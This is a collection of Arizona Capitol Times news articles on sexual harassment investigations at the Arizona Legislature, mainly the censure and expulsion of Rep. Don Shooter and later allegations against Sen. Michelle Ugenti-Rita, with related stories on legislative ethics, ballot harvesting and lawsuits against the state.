Rep. Michelle Ugenti, R-Scottsdale, listens to Rep. Don Shooter, R-Yuma, read a statement regarding sexual harassment and other misconduct complaints made against him by Ugenti-Rita and others. Shooters comments came during mandatory sexual harassment and ethics training Jan. 9 on the House floor of the capitol.
Rep. Michelle Ugenti-Rita, R-Scottsdale, listens to Rep. Don Shooter, R-Yuma, read a statement regarding sexual harassment and other misconduct complaints made against him by Ugenti-Rita and others. Shooters comments came during mandatory sexual harassment and ethics training Jan. 9 on the House floor of the capitol.

A House investigation confirmed today that there is “credible evidence” Republican Rep. Don Shooter violated a sexual harassment policy and created a hostile working environment at the Capitol.

After the allegations against Shooter surfaced, House Speaker J.D. Mesnard suspended Shooter from his powerful position as the chairman of the House Appropriations committee.

Mesnard said today Shooter will be permanently removed from all committee assignments immediately. Mesnard also said he will seek to censure Shooter for his behavior.

Additionally, Mesnard wants to institute a formal code of conduct and prohibit the consumption of alcohol on House premises.

Mesnard said he wants to add a formal anti-harassment policy to the House rules, which carry the force of law. He will formalize a human resources department for the House as well, he said.

Shooter said in a statement that he is reviewing the report and made no indication he will resign. He thanked his colleagues and the investigators for their work.

“This has been a humbling and eye-opening experience for me,” Shooter said. “I look forward to working to repair relationships and serving my constituents and our great state.”

In their conclusion, investigators Craig Morgan and Lindsay Hesketh said Shooter broke the House harassment policy, and his “repeated pervasive conduct” had created a hostile work environment.

“Although we could not conclude that all of the allegations made against Mr. Shooter occurred, or if they did, also violated the policy, there remain several credible allegations evidencing that Mr. Shooter has engaged in a pattern of unwelcome and hostile conduct toward other members of the legislature and those who have business at the Capitol,” the investigators wrote.

During a press conference Tuesday afternoon, Mesnard told reporters that a formal censure, though rare, is appropriate in this situation. He added that if “any other misbehavior occurs,” he would move to expel Shooter.

A formal censure becomes part of the official House record, he said, a black mark that will follow Shooter for the rest of his career.

“This is a big deal and maybe all that he’ll be remembered for at the end of the day. I don’t know. But it’s a very big deal,” Mesnard said of the censure.

He said he will leave it up to voters to decide whether they want to keep Shooter in office.

Mesnard said he informed Shooter of his decision to remove him from committee today. Shooter felt the punishment was “too harsh,” Mesnard said.

“He was not skipping for joy,” he said.

The investigation began after Rep. Michelle Ugenti-Rita, R-Scottsdale, named Shooter as one of the men in the legislature who had harassed her. She told KTVK (Channel 3) political reporter Dennis Welch that Shooter asked about her chest in her office and came uninvited to her room with beer at a work conference, where she didn’t answer the door.

Shooter countered Ugenti-Rita’s claims with allegations of his own, saying she was upset with him because he was critical of her for having a “very public affair” with a staffer. He said Ugenti-Rita was lying, and asked Mesnard to investigate his claims against her as well.

The investigation did not find evidence that Ugenti-Rita violated the House harassment policy.

After Ugenti-Rita came forward, eight other women told stories of inappropriate, sexually charged comments and unwanted touching.

Democratic lobbyist Marilyn Rodriguez said Shooter touched her knee at an off-site meeting to discuss legislation in 2013. A former Capitol Times intern, Kendra Penningroth, said Shooter gave her a lengthy bear hug at a work event in 2017. Tara Zika, a business development director, said Shooter made inappropriate comments about her looks and made a vulgar gesture to her at a conference in 2017.

Two Democratic lawmakers, Reps. Athena Salman and Wenona Benally, accused Shooter of making inappropriate comments while in the House.

The former publisher of the Arizona Republic, Mi-Ai Parrish, said Shooter made a comment that was both racist and sexual in a meeting in 2016.

The women at the Arizona Capitol join their colleagues across the country and across industries. Reporting by The New York Times and the New Yorker in October 2017 broke open sexual harassment claims from numerous women against Hollywood mogul Harvey Weinstein. Since then, women have gone public with accusations against powerful men in many industries, including politics. Dozens of statehouses across the country have grappled with allegations of harassment by men within their ranks.

After allegations of Shooter were made public by the media, House Speaker J.D. Mesnard began an investigation, led by outside attorney Craig Morgan, to look into the claims.

The investigation is the first test of a newly crafted House policy that bans harassment, something the chamber didn’t have in place until late last year after Ugenti-Rita said, initially without naming names, that she had been harassed.

But not all of the allegations could be substantiated with independent, credible evidence, the investigation concluded.

Of the women’s claims, the investigators said they could not find such evidence to support Rodriguez’s claim, nor the entirety of Zika’s claims. The investigation did confirm Penningroth’s claims, and several other claims made by Ugenti-Rita. It also found Salman’s account credible, and Benally’s, though the investigators said Benally’s situation would not be a violation of the House policy.

The investigation includes allegations from other people who had not yet been made public. Another female lobbyist, Amy Love, who works for the courts, alleged Shooter made a comment about being the only lawmaker who had the “balls” to do something, then grabbed his genitals and shook them.

The investigators said Love’s claims were credible, despite Shooter’s contention that he didn’t think the events happened as described because Love is “not that cute,” which the investigators said was of no consequence.

Another complaint from Rep. Darin Mitchell alleged Shooter made a comment to another person, Adam Stevens, regarding the race for the House Speaker. Shooter allegedly told Stevens that he would take Mitchell into the bathroom and have anal sex with him in front of Mitchell’s wife, and do it again until Mitchell liked him. The House investigators said they believe Shooter made these comments.

Kurt Altman, Ugenti-Rita’s attorney, said Tuesday that his client feels vindicated. There are some characterizations of Ugenti-Rita’s testimony to investigators that “she doesn’t think are exactly accurate,” but overall, she’s pleased with the report, Altman said.

“For the most part, I do believe, and she believes, that the facts that they have evidence of, credible evidence of, are laid out well, and she’s very happy to have it over and feels vindicated,” Altman said.

At this time, Altman said there’s no plans for Ugenti-Rita to seek further action against Shooter than what Mesnard has proposed.

“It’s hard to say if it’s enough,” Altman said of the speaker’s punitive actions. “But for her and her participation, I do think it’s over. Now it’s in the hands of leadership in the House and all the other members. This was, as you might imagine, one of the most difficult portions of her life. I mean, this was brutal, from the time she came out to today. She’s happy that’s over.”

House Minority Leader Rebecca Rios said Democratic House members are still reviewing the report, but an initial reading of it “paints a detailed and disturbing picture of pervasive sexual harassment and sexism on the part of Rep. Shooter.”

Rios said Mesnard’s recommended sanctions are well-deserved, but the Democratic caucus is still deciding if the actions go far enough, or if further actions, like a call for expulsion or ethics hearing, are warranted.

Rep. Mark Cardenas, D-Phoenix, said Tuesday that it’s not for him to decide if more action should be taken against Shooter, such as a motion to expel. That’s up to the women who came forward with stories of Shooter’s behavior.

“For me, it’s kind of a delicate situation. I don’t want to be seen as trying to take justice away from other people as well, because it’s not about me, it’s about the people that made the report,” Cardenas said. “And until they feel whole, it’s really kind of a waiting game to see what they want.”

Gov. Doug Ducey’s office is still combing through the details in the report, spokesman Patrick Ptak said in an email today.

“But the governor has made it clear — there is no room for sexual harassment at the state Capitol or anywhere else,” Ptak said.

Rep. Shooter suspended from appropriations chair, Chamber of Commerce calls for resignation

House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter's suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)
House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter’s suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)

After multiple allegations of sexual harassment, Rep. Don Shooter has been suspended from his duties as chairman of the Arizona House’s powerful budget committee.

Additionally, an influential business group has called on Shooter to resign.

The Arizona Chamber of Commerce, which wields considerable power in the legislature, said Shooter should resign, its spokesman, Garrick Taylor, said. The Chamber also supports the investigations initiated by Mesnard into all of the allegations, Taylor said.

Arizona House GOP spokesman Matt Specht said Shooter, a Republican from Yuma, has not been removed from the committee, but rather suspended.

Rep. Don Shooter (R-Yuma)
Rep. Don Shooter (R-Yuma)

Shooter has served as chairman of the House Appropriations committee since January. Before that, he was the chairman of the Senate Appropriations committee.

Over the past few days, eight women have come forward with allegations of harassment and inappropriate behavior, ranging from unwanted touching to sexually charged comments.

House Speaker J.D. Mesnard initiated multiple investigations into the allegations, three of which came from sitting lawmakers.

This morning, Mi-Ai Parrish, the publisher of The Arizona Republic, said Shooter made a remark about items on a sexual bucket list in a professional meeting about public notices.

“Speaker Mesnard has asked Mr. Shooter to step away from the duties of chairman of appropriations,” Specht said.

It’s unclear at this time what the difference between suspension and removal is, particularly since the Legislature is not in session.

“Removed would mean he’s no longer a member of the committee, and suspended means he’s no longer participating in duties as chairman of the appropriations committee until this investigation is concluded,” Specht said.

Mesnard said in a statement that Shooter will not be taking any meetings on budget issues, chairing hearings or being a part of any budget discussions until investigations are concluded.

Shooter will receive a fair and thorough investigation into his behavior, as he is entitled to, Mesnard said.

“I don’t believe he can properly fulfill his obligations as chairman of the House Appropriations Committee until that investigation has concluded,” Mesnard said.

And, because of the scope of the allegations against Shooter, the House’s bipartisan investigative team has decided to hire outside investigators, which Mesnard said he supports. The investigative team will meet on Monday to decide how to proceed.

Republicans sidestep expulsion vote of Rep. Stringer, ethics committee to probe allegations

David Stringer (Photo by Gage Skidmore/Flickr)
David Stringer (Photo by Gage Skidmore/Flickr)

House Republicans today bypassed a motion to expel Rep. David Stringer in favor of an ethics investigation of recent allegations against their colleague.

Rep. Reginald Bolding made the motion to expel Stringer, citing the Prescott Republican’s past racist comments – words unbecoming of a member of the Arizona House of Representatives, Bolding said – and a report by the Phoenix New Times about charges for sex offenses in Stringer’s past.

Though Bolding, D-Laveen, acknowledged he did not know what had happened in 1983 that led to Stringer’s indictment on five sex offenses, Stringer had not been transparent with the House or voters about the allegations, Bolding said.

Instead of taking a vote on Bolding’s motion for expulsion, Republican lawmakers sidestepped the issue by voting to leave the floor of the House, a motion to recess. House Majority Leader Warren Petersen said that while even those representatives who voted to recess were horrified and shocked by the New Times report, the matter should be investigated by the Ethics Committee before members take action.

“There’s a lot of really horrible things that we’ve heard about, but there are also other sides of this story,” said Petersen, R-Gilbert.

Petersen’s motion passed by 31-28 party line vote over the protest of Bolding.

“We are enabling this behavior by voting to recess,” Bolding said. “We have the ability to move on to the pressing issues that matter in this state and get back to regular order.”

The ethics process has already begun.

Rep. Kelly Townsend
Rep. Kelly Townsend

Rep. Kelly Townsend filed an ethics complaint this afternoon, citing the report by the New Times, as well as an earlier report by the Arizona Daily Independent, as evidence that Stringer “has a potential criminal history involving child pornography.”

“By this conduct, if true, Representative Stringer has engaged in conduct that compromises the character of himself, members of the House and indeed holds the entire legislature up to contempt and condemnation,” Townsend, R-Mesa wrote in her complaint.

Townsend initially voted against Petersen’s effort to avoid an expulsion vote – it would’ve failed anyway, she said, since Bolding lacked the necessary two-thirds majority vote needed to oust Stringer.

She ultimately sided with her fellow Republicans after Rep. Anthony Kern, R-Glendale, urged her to reconsider.

Rep. Reginald Bolding
Rep. Reginald Bolding

In any case, Townsend stood against expulsion before allowing the Ethics Committee to investigate, and she expressed regret for having voted for the expulsion of former Rep. Don Shooter nearly one year ago before going through that process.

“I don’t want to continue to set the precedent… that if there’s something we don’t like about a member, it’s up to us to expel,” she said.

It was Townsend, then majority whip, who threatened to seek Shooter’s expulsion herself if he did not resign.

“In retrospect, it was the wrong process,” she said. “It should have gone through Ethics.”

Townsend said there are still questions, particularly regarding whether Stringer was required to disclose the charges while running for office, and the ethics investigation would give Stringer the time to make his case.

“[The allegations are] of such an egregious nature that it’s something that I feel needs to be known,” she said. “Whether it was expunged or not, whether it was a plea deal or not, I think… that it rises to the level that it needs to be referred to the Ethics Committee where these things need to go.”   

This may not be the last time the House is faced with a motion to expel Stringer, though.

Bolding did not immediately return a request for comment regarding if and when he might attempt to bring his motion back to his colleagues.

 

Scandals reveal murky workplace standards in Legislature

cheers

Since news broke of their apparent romance, the fates of Rep. David Cook and lobbyist AnnaMarie Knorr have diverged.

Cook, a Republican from Globe, has continued to serve on committees, to vote on legislation and to testify on bills he has authored, even as the House Ethics Committee probes two separate complaints about his conduct.

Knorr, on the other hand, was placed on administrative leave by her employer, the Western Growers’ Association, pending an investigation into whether her alleged relationship with Cook presented ethical violations.

That investigation commenced almost immediately after dozens of love letters Cook wrote to Knorr surfaced in the media, whereas leadership in the House took no official action until a pair of complaints materialized two weeks after the initial news reports.

David Cook
David Cook

Cook and Knorr have maintained that their relationship is proper, and platonic. Regardless, the fact that one is on leave while the other remains in the public eye highlights the different standards between the Legislature — where lawmakers have balked at adopting a code of conduct — and private sector firms, where experts say written expectations on proper interpersonal relationships are near universal.

“The culture in political environments is one that would never fly in a corporate or professional environment,” said Jonathan Lockwood, a GOP political consultant who has worked in statehouses in Oregon and Colorado. “There’s cozy relationships. There’s long hours. There’s all of these events with alcohol.”

While the House eventually launched an investigation into Cook — both into whether his relationship with Knorr represents a conflict of interest and whether he had helped her get out of paying back taxes — Republicans in the Senate continue to bury allegations that Sen. Michelle Ugenti-Rita sexually harassed a lobbyist and threatened the woman for speaking out.

Just as Cook and Knorr have faced disparate consequences, the divergent treatment of allegations in each chamber shows the lack of uniform policy governing interpersonal relationships in the Legislature. In one body, the House Ethics Committee’s investigation, if slow to start, is building steam.

And in the other, while Democrats in the Senate have called for an investigation into newly public allegations that Ugenti-Rita and her now-husband pressured a female lobbyist to join them for sex, Republican leaders including Senate President Karen Fann dismissed the allegations as old, already-investigated incidents.

“If anybody has any new complaint, if there’s a victim that says, ‘I have been harmed in some way,’ which is something new since a member was here at the Senate, I will gladly open up an investigation or send it to the Ethics Committee,” said Fann, R-Prescott.

‘WE’RE ALL ADULTS HERE’

Lobbyists straddle a divide between the private and public spheres.

In the corporate world, companies routinely adopt statements of ethics and clear-cut policies on how to handle conflicts of interest, workplace harassment and retaliation. Kyla Latrice, a Tennessee-based consultant who develops those written policies for clients, said having those procedures written down, read and signed by employees protects both companies and employees.

“The company and individuals can be protected, and it also sets a tone of a corporate culture,” Latrice said. “You have to teach them how to behave so people know how to be ethical.”

These policies protect the company from liability and ensure a healthy workplace, and they apply virtually everywhere.

“Every employer in Arizona should have an anti-harassment policy, particularly when it comes to sexual harassment,” said Jill Chasson, an employment lawyer with Coppersmith Brockelman.

But on the other side of the public-private sector divide, the Senate and House both lack codes of conduct, though drafts have been proposed. Both chambers have workplace harassment policies, and Fann said there’s no need to add more standards.

Michelle Ugenti-Rita
Michelle Ugenti-Rita

The chambers adopted sexual harassment policies in the fallout of Ugenti-Rita’s 2017 accusations against then-Rep. Don Shooter. At the time, Ugenti-Rita told The Arizona Republic the policy wouldn’t matter until both chambers adopted uniform policies and procedures for handling harassment.

House rules require the speaker of the House to create a code of conduct for House staff and state that House members must adopt a written code of conduct and harassment policy for themselves. The Senate’s rules lack those requirements.

In 2018, after Shooter’s expulsion, the two chambers created a joint committee to develop a code of conduct. But the Senate didn’t appoint members, and nothing came of the committee’s work.

“We have policies,” Fann said. “We have sexual harassment policies. You know, we’re all adults here.”

Trusting lawmakers to act like adults isn’t enough, said Diane Stegmeier, founder of the Ohio-based nonprofit organization Project WHEN (Workplace Harassment Ends Now). Project WHEN researches workplace harassment and provides resources for companies to prevent it.

“Adults act like children sometime or they act like teenagers sometime,” Stegmeier said. “What we’re finding is being specific creates the culture that you can’t twist around the words and say, ‘I didn’t know that’ or ‘I didn’t think it meant that.’”

And even if the two chambers had adopted codes of conduct, it takes more than a written policy to ensure a healthy organizational culture, Chasson said.

“The best preventative measure is to have a workplace culture that is based on respect and professionalism and treating each other with kindness,” she said. “And it has to be supported and modeled by leadership.”

Moreover, a sexual harassment policy doesn’t cover improper relationships that are ostensibly consensual, as is the case with Cook and Knorr. While conflict of interest policies in corporate workplaces are not as universal as harassment policies, many businesses have policies that govern interpersonal relationships between employees both in and out of the office, Chasson said.

The lobbyist-lawmaker relationship, while not the same as a boss-employee relationship, does present an inherent imbalance of power. In corporate America, it’s perhaps best mirrored by the relationship a salesperson has with a client or vendor.

Conflict of interest policies both ensure potential employees don’t favor one client over another as a result of a personal relationship and that mutual discomfort is avoided if the relationship goes sour.

“Employers have an obligation,” Chasson said.

DIFFERENT SYSTEMS

Thus far, the only forceful Republican condemnation of Ugenti-Rita’s alleged behavior came from former Rep. Adam Kwasman, who filed to challenge her in her Senate primary this year.

“If this were the private sector — if she worked for me, she wouldn’t have lasted a single day [after the scandal broke],” Kwasman said. “She works for us, the voters of LD23. She forgot that she’s an employee, not a superior.”

But this is where the incongruence between corporate and public life is crucial. Ugenti-Rita and Cook are not employees of the Legislature — they’re elected officials who take up temporary residence at the Capitol at the behest of their constituents.

“This system is so much different,” said Rep. John Allen, R-Scottsdale, who is leading the House’s investigation of Cook. “We are independently elected. You are a franchise of your voters, not of the House. We have mechanisms to overcome those elections, [which] are not the same as employment.”

In an ideal corporate environment, there are multiple channels through which potential victims can file complaints, Chasson said. Investigators interview the relevant parties, review and analyze evidence and “follow the facts where they lead you,” she said.

Then they must determine what the company’s liability is, which depends on whether the misbehavior occurred between two peers, a supervisor and subordinate or an employee and someone outside the company.

The Legislature’s process is similar. When Cook was arrested for a DUI in 2018, House leadership quickly removed him from his committee assignments. And the current ethics probe is following a model similar to the one Chasson describes.

But the point remains: Knorr is on leave, while Cook is still at work. And while neither are afforded the same due process that a suspect in a criminal investigation would have, Allen said one of the realities of an ethics investigation in the Legislature is that the subject of a probe remains at work unless it’s in the public’s interest to suspend them. After all, Cook works for the voters, not for House Speaker Rusty Bowers or Chief of Staff Michael Hunter.

STIRRING THE POT

Karen Fann
Karen Fann

A lack of clear and consistent policies between the two chambers also means Cook faces an investigation for an alleged consensual relationship while Ugenti-Rita, who allegedly made nonconsensual advances toward a lobbyist, remains free from scrutiny.

Senate Democrats who want an investigation into Ugenti-Rita say that she clearly violated the Senate’s sexual harassment policy, but they must find new allegations to push the issue.

Part of the lobbyist’s story — that Ugenti-Rita’s husband, Brian Townsend, a former adviser to Gov. Doug Ducey, sent her nude photos of Ugenti-Rita engaged in sexual activity — was included in a 2018 report produced by a team hired by the House of Representatives to investigate alleged harassment by Ugenti-Rita and Shooter.

Other details – including that Ugenti-Rita had the lobbyist do body shots off her, that she invited the lobbyist to her hotel room at a conference and urged her to stay the night and that she accosted the woman in a public restroom to call her a liar after the House investigation – only came out in a sworn deposition the woman provided under subpoena to Shooter’s defense attorneys for a defamation case Ugenti-Rita filed against him.

Although that House investigation did not appear to include those allegations, and although the bathroom incident happened after Ugenti-Rita had been elected to the Senate but before she was sworn in, Fann considers the matter dead.

“To keep stirring the pot on something that is already in litigation and has already been investigated, quite honestly, I’m very saddened that that’s where the media would rather go instead of, ‘Let’s talk about the policy and all the good stuff that’s going on around here,’” she said.

Yellow Sheet Report editor Hank Stephenson contributed to this report.

Correction: A previous version of this story erroneously stated Senate President Karen Fann voted for the expulsion of former Rep. Don Shooter. Fann was not a member of the House at the time of the vote in February 2018 and did not vote for the expulsion.

SCOTUS accepts Arizona ballot harvest case

Supreme Court

Attorney General Mark Brnovich will get one last chance to defend the legality of an Arizona law outlawing “ballot harvesting.”

The U.S. Supreme Court on Thursday agreed to let Brnovich try to convince them that a lower court ruling declaring the ban is illegal. The justices set March 2 for the hearing.

Just because the court agreed to take the case does not mean the ban will be upheld. But it does take at least four of the nine justices to be interested enough in the issue to have it be one of the few cases they actually take each year.

Brnovich has laid out for the justices why he believes the 9th Circuit Court of Appeals got it wrong last year when it declared that the state acted illegally in making it a crime to return someone else’s early ballot. He contends the state had a good reason to act in a way to prevent the potential for fraud and intimidation of voters by political operatives who were collecting these ballots.

At the heart of the issue is that most Arizonans receive early ballots which can be filled out and mailed back or delivered to polling places on Election Day.

Political and civic groups had for years gone into neighborhoods, asking people if they have returned their ballots and, if not, offering to take it to polling places on their behalf.

Republican legislators voted in 2016 to make that a felony, concluding the practice created too many opportunities for mischief. They did agree for exceptions for family members, others in the household and caregivers.

During the debate though, proponents could not cite a single confirmed incident where a ballot was altered or did not get delivered. Brnovich, in his legal briefs, told the high court that is irrelevant.

“Prohibiting unlimited third-party ballot harvesting is a commonsense means of protecting the secret ballot and preventing undue influence, voter fraud, ballot tampering, and voter intimidation,” he wrote.

And Brnovich rejected the contention that the law is simply an attempt by Republicans who control the Legislature to get a political edge. He pointed to the 2005 recommendations of the Commission on Federal Elections Reform, co-chaired by former President Jimmy Carter, a Democrat, that said states should prohibit outsiders from handling absentee ballots of others.

“There’s 20 states that have similar measures,” Brnovich said.

Anyway, Brnovich said, there are exceptions on who can handle ballots, ranging from election officials and mail carrier to family and household members and caregivers.

The 9th Circuit Court of Appeals did not buy that logic, with the majority concluding that the law was “racially motivated” and designed to suppress minority votes. And Judge William Fletcher, a President Clinton appointee, writing for the majority, said the record shows it has had that effect.

In reaching that conclusion, Fletcher cited comments by then-Sen. Don Shooter, R-Yuma, who attempted to get colleagues to enact a similar law in 2011. That was after he won his 2010 election with just 53% of the vote — receiving 83% of the non-minority vote but only 20% of the Hispanic vote.

Fletcher said Shooter was “in part motivated by a desire to eliminate what had become an effective Democratic GOTV strategy.” And he said that, in finally enacting the laws in 2016, “Republican legislators were motivated by the unfounded and often far-fetched allegations of ballot collect fraud made by former Sen. Shooter.”

More significant, Fletcher said the record from the trial shows that prior to the 2016 law minorities were more likely than non-minorities to get someone else to turn in their ballots.

“The district court found that, in contrast, the Republican Party has not significantly engaged in ballot collection as a Get Out the Vote strategy,” Fletcher wrote.

“The base of the Republican Party in Arizona is white,” he continued. “Individuals who engaged in ballot collection in past elections observed that voters in predominantly white areas were not as interested in ballot-collection services.”

In his court filings, Brnovich did not dispute what the 9th Circuit said was evidence of historical racism in Arizona. But he said most of the incidents cited by the appellate court are ancient history, with some going back to territorial days.

And Brnovich said the appellate judges ignored other non-racial reasons why minorities are more likely impacted by ballot harvesting laws, including poverty, employment, home ownership, health and how they have their mail delivered.

While the 9th Circuit found the law illegal, it has allowed the state to continue to enforce it pending Supreme Court review. That is what allowed Brnovich to get indictments in late December of two Yuma women who are accused of collecting four ballots during the state’s August primary election and putting them in a ballot box where they were counted.

 

 

Senate candidates sue state, hit campaign trial

Don Shooter and Tim Jeffries
Don Shooter and Tim Jeffries

A handful of candidates for the Arizona Legislature share the distinction of suing the state they hope to represent.

Tim Jeffries, a Scottsdale businessman running for the state Senate in Legislative District 23, was ousted from state government by Gov. Doug Ducey in 2016. Jeffries, then the Ducey-appointed director of the Department of Economic Security, was forced to resign amid reports that he’d fired hundreds of state workers and used a state plane to fly to Nogales to celebrate with employees who gave up their job protections.

Also ousted from DES that day: Charles Loftus, who’s running for the state Senate in Legislative District 20. Loftus was the agency’s chief law enforcement officer under Jeffries.

Both were excoriated in an audit of security policies at DES. A review by the Department of Public Safety noted the DES security program under Jeffries and Loftus’ watch, when the agency amassed a stash of guns and ammunition to equip armed employees, was “rife with disorganization and inefficiency.”

Jeffries was one of three staffers found not in compliance with DES policies when they carried firearms at state facilities, the audit found.

Jeffries and Loftus deny those findings. Together, they’re suing the state for libel, claiming that the DPS audit amounted to a series of maliciously false statements aimed at undermining their efforts to weed out corrupt contracts at DES.

The former DES workers may soon be joined by former lawmaker Don Shooter, who’s seeking a political comeback less than six months after his colleagues expelled him from the House of Representatives.

The expulsion came February 1 after an investigation initiated by the House found that Shooter, a Yuma Republican, had sexually harassed several women, including a fellow lawmaker, and created a hostile work environment.

Defiant to the end, Shooter claims his ouster was “orchestrated” by House Speaker J.D. Mesnard, R-Chandler, and Ducey’s chief of staff, Kirk Adams. There are similar claims made in the lawsuit filed by Jeffries and Loftus, who in court filings allege that Adams and other government agents attempted to silence them for “bringing to light… malfeasance, corruption and incompetent administration” in state procurement practices.

In a notice of claim submitted April 16, Shooter’s lawyer, Kraig Marton, alleged the former lawmaker was expelled to prevent him from uncovering “serious issues of malfeasance in state government contracts.”

Shooter had to wait 60 days before he can pursue a lawsuit in order to give the state a chance to respond. That time elapsed as of June 18, but Shooter has yet to file a lawsuit.

He insisted the pending case will prove that he is the real victim.

“Let the people speak, let the people decide,” Shooter said of his re-election bid. “Let the people say if this is important, or if my seven years of good service to my district and, and, the fact that I’m being harassed and persecuted by people who will be proven to be doing so in the lawsuit, whether that matters.”

Campaign fodder

Loftus said the lawsuit is mostly a non-issue on the campaign trail.

“At first I thought it might be a burden, but when I explain and detail out the circumstances and the reason that we are fighting this, I turned it into a little bit of a positive,” he said. “I’ve only been asked about two or three times. I’ve been asked more by other candidates” than by voters, he added.

If anything, the lawsuit hews closely into an issue that Loftus said is a pillar of his campaign, citing arguments in court filings that “to take away their credibility and prevent further investigation into the corruption and malfeasance that Jeffries and Loftus were trying to uncover,” government forces set out on “a massive campaign of libel.”

“I’m an enemy of public waste, fraud and corruption, and this really solidifies the position I’m taking in the campaign,” Loftus said.

Jeffries, who declined to be interviewed, wrote in an email that the lawsuit “doesn’t adversely impact my campaign one iota.”

He pointed to his experience leading DES, experience he wrote gives him a leg up on legislators who “only know government agencies from the outside, and rarely even visit them to learn about them.”

It may get awkward if either candidate is elected this fall – one of the core duties of legislators is to adopt a budget, a process that the Governor’s Office and his chief of staff, Adams, are deeply involved in – but both Jeffries and Loftus said their ongoing litigation wouldn’t impact their legislative work.

There is a history of sitting lawmakers suing Arizona. A group of GOP lawmakers sued Arizona in 2013 to overturn the state’s Medicaid expansion law. In 2006, lawmakers sued then-Gov. Janet Napolitano over a line-item veto in the budget that cost state and university employees a pay raise.

Those were issues-based lawsuits, unlike the defamation case filed by Jeffries and Loftus.

“It’s going to be awkward anyways. They fired me,” Loftus said. ”Either way, we’re going to have to put our differences apart and do what’s good for the state. You would hope they’d be more reasonable in their approach.”

Shooter likened his own prospective lawsuit to Jeffries and Loftus. He, too, Shooter claims, was silenced by Adams for attempting to expose nefarious procurement practices in state government, though he did not provide details that presumably will be included in his lawsuit.

“All three lawsuits are the result of corrupt procurement practices being foisted on the people. That’s your angle,” Shooter said. “All three of them are trying to tell you the same thing. Why do you think that is?”

A spokesman for Ducey declined to comment.

Headlines

Campaign consultant Kyle Moyer said most voters aren’t tuned in enough to be aware of the pending lawsuits filed by candidates. A perusal of Jeffries and Loftus’ websites shows no mention of their ignominious departure from the Department of Economic Security, or their ensuing libel case against the state of Arizona.

Jeffries, however, fully embraces the persona that sent waves through the agency he once led, for better or for worse. His campaign bio boasts his “21 transformative months” leading the second largest state government agency in Arizona, and cites a questionable statistic he touted while still at DES: “employee satisfaction and morale improved an astounding 300 percent within 13 months.”

Loftus boasts of stints at the Arizona Attorney General’s Office and the Office of the Inspector General within DES.

The only way voters may catch on is if those lawsuits garner significant media attention, Moyer said. While Jeffries caused a media firestorm during his roughly two years at DES, he’s largely stayed out of the news since.

Shooter has made plenty of headlines, but for reasons beyond his claims of a conspiracy to oust him from office.

For every story about Shooter’s attempted comeback, voters are reminded of the behavior that led to his dismissal from office in the first place – the habitual sexual harassment of women at the Capitol.

Rep. Michelle Ugenti-Rita, R-Scottsdale – who coincidentally is running against Jeffries in LD23 – first named Shooter as one of the men in the Legislature who had harassed her, and she filed a libel and slander lawsuit against Shooter on June 14.

After Ugenti-Rita came forward, eight other women told stories of inappropriate, sexually charged comments and unwanted touching, although an independent investigation did not uphold all of the allegations.

Shooter and his attorney tells a different tale.

Marton wrote in the notice of claim that Shooter’s ouster wasn’t for “discriminatory conduct,” but for his years of discreetly raising concerns about “questionable procurement practices and wasteful spending in government.”

“I’ve already said what I’ve done, owned up to it, apologized for whatever I did,” Shooter said. “But the fact of the matter is, what came about, and I’m going to prove it in court, I’m going to prove it, and you’re going to see it all pretty soon…”

Senate Democrats call for investigation of Ugenti-Rita over sexual harassment allegations

Rep. Michelle Ugenti-Rita (R-Scottsdale)
Sen. Michelle Ugenti-Rita (R-Scottsdale)

Senate Democrats today asked Senate President Karen Fann to investigate whether Sen. Michelle Ugenti-Rita violated the Senate’s sexual harassment policy.

Senate Minority Leader David Bradley, D-Tucson, told the Arizona Capitol Times the request is informal, and he hopes Fann will investigate without Democrats having to file a formal ethics complaint. Bradley said Democrats believe Ugenti-Rita’s alleged actions, reported in the Capitol Times last night, violate the Senate’s policy and want to see if Fann agrees.

 “We’re putting the ball in their court, saying this is where we think it falls,” Bradley said. “In a partisan world, it’s better if folks in the party they’re in initiate this.”

Fann and Senate Majority Leader Rick Gray did not return phone calls, and Senate GOP spokesman Mike Philipsen read but did not respond to a text asking to confirm whether Fann had received the Democratic caucus’s request and was considering an investigation.

The Senate’s policy requires that anyone who wants to complain about a fellow senator must first describe facts to one of the chamber’s leaders — Fann, Gray, Bradley or Assistant Senate Minority Leader Lupe Contreras.

Complaints can be resolved informally — such as through direct or mediated conversations between the complainer and the complainant — or through a formal administrative inquiry by a third-party investigator. That investigator’s report would be forwarded to the Senate Ethics Committee, which then recommends any disciplinary action for senators. 

Sen. Sine Kerr, R-Buckeye, was reappointed as chair of the ethics committee at the start of the session after stepping down most of last session because she shares a district with former Rep. Don Shooter and beat him in the 2018 election. Shooter, who was expelled from the House in 2018 largely because of Ugenti-Rita’s claims that he sexually harassed her, accused Ugenti-Rita of harassing a female lobbyist in court documents filed late last week.

Senate Democrats’ request for an investigation closed a quiet and uncomfortable day in the Senate. The Senate introduced guests and did paperwork, but avoided any debates or votes and the chamber was largely empty after lawmakers took attendance.

Senate leaders not interested in investigating sexual harassment allegation against Ugenti-Rita

[dropcap][/dropcap]

Rep. Michelle Ugenti-Rita, R-Scottsdale, stands at her desk on the floor of the Arizona House of Representatives, before a vote to expel Rep. Don Shooter, R-Yuma. Ugenti-Rita’s allegations of sexual harassment by Shooter led a host of women and one man to air similar allegations against him. (Photo by Katie Campbell/Arizona Capitol Times)
Sen. Michelle Ugenti-Rita. (Photo by Katie Campbell/Arizona Capitol Times)

Republican leadership in the Arizona state Senate has no interest in investigating allegations of sexual harassment made against Sen. Michelle Ugenti-Rita.

Senate Democrats on Wednesday evening said they hoped Senate President Karen Fann would investigate allegations that Ugenti-Rita, a Scottsdale Republican, sexually harassed a lobbyist in 2016 and threatened the woman in 2018. But Fann and Senate Majority Leader Rick Gray dismissed calls for an investigation in separate interviews Thursday, and rank-and-file Senate Republicans largely declined to comment. And Gray, R-Sun City, said Democrats can file a complaint if they want. But he warned Democrats to be careful because one of their own members, whom he declined to name, also could be investigated.

Rick Gray
Rick Gray

“If they want to open up all the cans of worms from years past, we can open up all the cans of worms,” Gray said. “This was years ago. It was in the other chamber. Both people have been re-elected.”

